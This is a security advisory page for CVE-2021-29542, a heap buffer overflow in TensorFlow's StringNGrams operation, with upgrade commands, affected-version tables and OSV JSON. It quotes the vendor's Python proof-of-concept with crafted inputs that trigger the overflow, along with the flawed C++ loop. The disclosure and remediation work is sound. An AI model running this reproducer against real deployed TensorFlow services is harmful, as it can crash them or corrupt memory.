CVE-2021-29542: Tensorflow Heap Buffer Overflow Vulnerability
LOW
Advisory Identifier:
GHSA-4hrh-9vmp-2jgg
Advisory Summary
CVE-2021-29542 is a LOW (CVSS 2.5) heap buffer overflow vulnerability (CWE-787: Out-of-bounds Write) affecting Tensorflow libraries in the PyPI ecosystem. The issue involves heap buffer overflow in `stringngrams`. Remediation is available by upgrading affected packages to version 2.1.4, 2.2.3, 2.3.3, 2.4.2.
CVE-2021-29542 at a Glance
CVE Identifier
CVE-2021-29542
GHSA Identifier
GHSA-4hrh-9vmp-2jgg
Severity
LOW
CVSS v3.1 Base Score
2.5
CWE Classification
CWE-787: Out-of-bounds Write
Affected Product
Tensorflow
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 2.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L).
Attack Vector
Local (AV:L)
Attack Complexity
High (AC:H)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
None (C:N)
Integrity
None (I:N)
Availability
Low (A:L)
How to Fix CVE-2021-29542
To remediate this vulnerability, upgrade all affected Tensorflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
tensorflow
fixed: 2.1.4
pip install tensorflow>=2.1.4
tensorflow
fixed: 2.2.3
pip install tensorflow>=2.2.3
tensorflow
fixed: 2.3.3
pip install tensorflow>=2.3.3
tensorflow
fixed: 2.4.2
pip install tensorflow>=2.4.2
tensorflow-cpu
fixed: 2.1.4
pip install tensorflow-cpu>=2.1.4
tensorflow-cpu
fixed: 2.2.3
pip install tensorflow-cpu>=2.2.3
tensorflow-cpu
fixed: 2.3.3
pip install tensorflow-cpu>=2.3.3
tensorflow-cpu
fixed: 2.4.2
pip install tensorflow-cpu>=2.4.2
tensorflow-gpu
fixed: 2.1.4
pip install tensorflow-gpu>=2.1.4
tensorflow-gpu
fixed: 2.2.3
pip install tensorflow-gpu>=2.2.3
tensorflow-gpu
fixed: 2.3.3
pip install tensorflow-gpu>=2.3.3
tensorflow-gpu
fixed: 2.4.2
pip install tensorflow-gpu>=2.4.2
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show tensorflowHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2021-29542, inspect your installed packages using pip:
pip show tensorflowAnalyze the terminal output to locate any version of Tensorflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.4), your application is affected.
Note: The pip show tensorflow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-787: Out-of-bounds Write, where the product writes data past the end, or before the beginning, of the intended buffer. In Tensorflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Impact
An attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`:
```python
import tensorflow as tf
separator = b'\x02\x00'
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True
l = ['', '', '', '', '', '', '', '', '', '', '']
data = tf.constant(l, shape=[11], dtype=tf.string)
l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)
out = tf.raw_ops.StringNGrams(data=data,
data_splits=data_splits, separator=separator,
ngram_widths=ngram_widths, left_pad=left_pad,
right_pad=right_pad, pad_width=pad_width,
preserve_short_sequences=preserve_short_sequences)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:
```cc
for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {
int pad_width = get_pad_width(ngram_width);
int left_padding = std::max(0, pad_width - ngram_index);
int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));
int num_tokens = ngram_width - (left_padding + right_padding);
int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;
...
tstring* ngram = &output[ngram_index];
ngram->reserve(ngram_size);
for (int n = 0; n < left_padding; ++n) {
ngram->append(left_pad_);
ngram->append(separator_);
}
for (int n = 0; n < num_tokens - 1; ++n) {
ngram->append(data[data_start_index + n]);
ngram->append(separator_);
}
ngram->append(data[data_start_index + num_tokens - 1]); // <<<
for (int n = 0; n < right_padding; ++n) {
ngram->append(separator_);
ngram->append(right_pad_);
}
...
}
```
If input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`.
### Patches
We have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
CVE-2021-29542 Affected Tensorflow Versions
12 component(s)
Fixed Versions:
2.1.42.2.32.3.32.4.2
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tensorflow
|
PyPI |
< 2.1.4
|
2.1.4
|
|
tensorflow
|
PyPI |
≥ 2.2.0
< 2.2.3
|
2.2.3
|
|
tensorflow
|
PyPI |
≥ 2.3.0
< 2.3.3
|
2.3.3
|
|
tensorflow
|
PyPI |
≥ 2.4.0
< 2.4.2
|
2.4.2
|
|
tensorflow-cpu
|
PyPI |
< 2.1.4
|
2.1.4
|
|
tensorflow-cpu
|
PyPI |
≥ 2.2.0
< 2.2.3
|
2.2.3
|
|
tensorflow-cpu
|
PyPI |
≥ 2.3.0
< 2.3.3
|
2.3.3
|
|
tensorflow-cpu
|
PyPI |
≥ 2.4.0
< 2.4.2
|
2.4.2
|
|
tensorflow-gpu
|
PyPI |
< 2.1.4
|
2.1.4
|
|
tensorflow-gpu
|
PyPI |
≥ 2.2.0
< 2.2.3
|
2.2.3
|
|
tensorflow-gpu
|
PyPI |
≥ 2.3.0
< 2.3.3
|
2.3.3
|
|
tensorflow-gpu
|
PyPI |
≥ 2.4.0
< 2.4.2
|
2.4.2
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg
NVD — CVE-2021-29542
NVD
https://nvd.nist.gov/vuln/detail/CVE-2021-29542
Security Fix Commit
FIX COMMIT
https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b
Tensorflow Source Repository
REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml
Tensorflow Source Repository
REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml
Tensorflow Source Repository
REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml
Tensorflow Source Repository
REPOSITORY
https://github.com/tensorflow/tensorflow
Frequently Asked Questions
What is CVE-2021-29542?
CVE-2021-29542 is a security vulnerability in Tensorflow involving Heap buffer overflow in `StringNGrams` under CWE-787: Out-of-bounds Write.
Which Tensorflow versions are affected?
Affected versions include releases prior to 2.1.4, 2.2.3, 2.3.3, 2.4.2 across affected packages: tensorflow, tensorflow-cpu, tensorflow-gpu.
What version fixes CVE-2021-29542?
Upgrading to 2.1.4, 2.2.3, 2.3.3, 2.4.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tensorflow affected?
Yes, tensorflow is affected in releases prior to 2.1.4, 2.2.3, 2.3.3, 2.4.2. Upgrade your dependency to 2.1.4, 2.2.3, 2.3.3, 2.4.2 or later.
Is tensorflow-cpu affected?
Yes, tensorflow-cpu is affected in releases prior to 2.1.4, 2.2.3, 2.3.3, 2.4.2. Upgrade your dependency to 2.1.4, 2.2.3, 2.3.3, 2.4.2 or later.
What is the CVSS score of CVE-2021-29542?
CVE-2021-29542 has a CVSS v3.1 base score of 2.5 (LOW) with vector string CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2021-29542?
CVE-2021-29542 is classified under CWE-787: Out-of-bounds Write (The product writes data past the end, or before the beginning, of the intended buffer.).
How can I check PyPI dependencies for CVE-2021-29542?
Run the dependency tree command: 'pip show tensorflow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-4hrh-9vmp-2jgg",
"modified" : "2024-10-31T19:58:52Z",
"published" : "2021-05-21T14:23:15Z",
"aliases" : [ "CVE-2021-29542" ],
"summary" : "Heap buffer overflow in `StringNGrams`",
"details" : "### Impact\nAn attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`:\n\n```python\nimport tensorflow as tf\n\nseparator = b'\\x02\\x00' \nngram_widths = [7, 6, 11]\nleft_pad = b'\\x7f\\x7f\\x7f\\x7f\\x7f'\nright_pad = b'\\x7f\\x7f\\x25\\x5d\\x53\\x74'\npad_width = 50\npreserve_short_sequences = True\n \nl = ['', '', '', '', '', '', '', '', '', '', '']\n \ndata = tf.constant(l, shape=[11], dtype=tf.string)\n \nl2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 3]\ndata_splits = tf.constant(l2, shape=[116], dtype=tf.int64)\n\nout = tf.raw_ops.StringNGrams(data=data,\n data_splits=data_splits, separator=separator,\n ngram_widths=ngram_widths, left_pad=left_pad,\n right_pad=right_pad, pad_width=pad_width,\n preserve_short_sequences=preserve_short_sequences)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:\n \n```cc\nfor (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {\n int pad_width = get_pad_width(ngram_width);\n int left_padding = std::max(0, pad_width - ngram_index);\n int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));\n int num_tokens = ngram_width - (left_padding + right_padding);\n int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;\n ...\n tstring* ngram = &output[ngram_index];\n ngram->reserve(ngram_size);\n for (int n = 0; n < left_padding; ++n) {\n ngram->append(left_pad_);\n ngram->append(separator_);\n }\n for (int n = 0; n < num_tokens - 1; ++n) {\n ngram->append(data[data_start_index + n]);\n ngram->append(separator_);\n }\n ngram->append(data[data_start_index + num_tokens - 1]); // <<<\n for (int n = 0; n < right_padding; ++n) {\n ngram->append(separator_);\n ngram->append(right_pad_);\n }\n ...\n}\n```\n\nIf input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`.\n\n### Patches\nWe have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.1.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.2.0"
}, {
"fixed" : "2.2.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.3.0"
}, {
"fixed" : "2.3.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.4.0"
}, {
"fixed" : "2.4.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-cpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.1.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-cpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.2.0"
}, {
"fixed" : "2.2.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-cpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.3.0"
}, {
"fixed" : "2.3.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-cpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.4.0"
}, {
"fixed" : "2.4.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-gpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.1.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-gpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.2.0"
}, {
"fixed" : "2.2.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-gpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.3.0"
}, {
"fixed" : "2.3.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-gpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.4.0"
}, {
"fixed" : "2.4.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-29542"
}, {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tensorflow/tensorflow"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-131", "CWE-787" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2021-05-18T21:54:20Z",
"nvd_published_at" : "2021-05-14T20:15:00Z"
}
}